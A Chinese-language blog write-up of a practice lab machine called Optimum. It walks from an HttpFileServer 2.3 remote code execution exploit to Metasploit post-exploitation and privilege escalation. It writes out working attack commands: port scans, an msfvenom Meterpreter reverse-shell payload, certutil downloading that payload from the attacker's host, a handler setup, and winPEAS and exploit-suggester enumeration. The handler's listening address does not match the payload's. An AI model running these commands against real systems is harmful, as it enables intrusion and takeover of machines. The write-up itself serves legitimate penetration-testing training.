从httpfileserver RCE漏洞到msf后渗透提权，靶机练习之optimum
原创
wonderful
wonderful
百炼G33K
2026年11月3日 15:19
江苏
去阅读
信息搜集
nmap -sT --min-rate 10000 10.129.65.46 -p-
只有一个80端口
nmap -sT -sC -sV 10.129.65.46 -p80 -o ports
看一下版本
是一个httpfileserver
hfs漏洞利用
老版本的hfs应该是存在漏洞的
searchsploit hfs 2.3
search -m 49584
选这个python的命令执行exp
开启nc接受反弹shell
成功反弹shell
拿到第一个flag
提权
信息搜集
systeminfo
为x64 windows server 2012
whoami /all
没有放开太多敏感权限
msf后渗透
选择用msf后渗透，进一步搜集敏感信息
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.15.182 lport=5555 -f exe -o shell.exe
kali开启文件服务，上传msf
python -m http.server 80
certutil -urlcache -split -f http://10.10.15.182/shell.exe
msf接收shell
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.182.15
set lport 5555
run
winpeas提权信息枚举
上传winpeas
找到了一个密码
local\_exploit\_suggester提权
使用suggester提权模块
这边使用第9个payload
成功提权
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论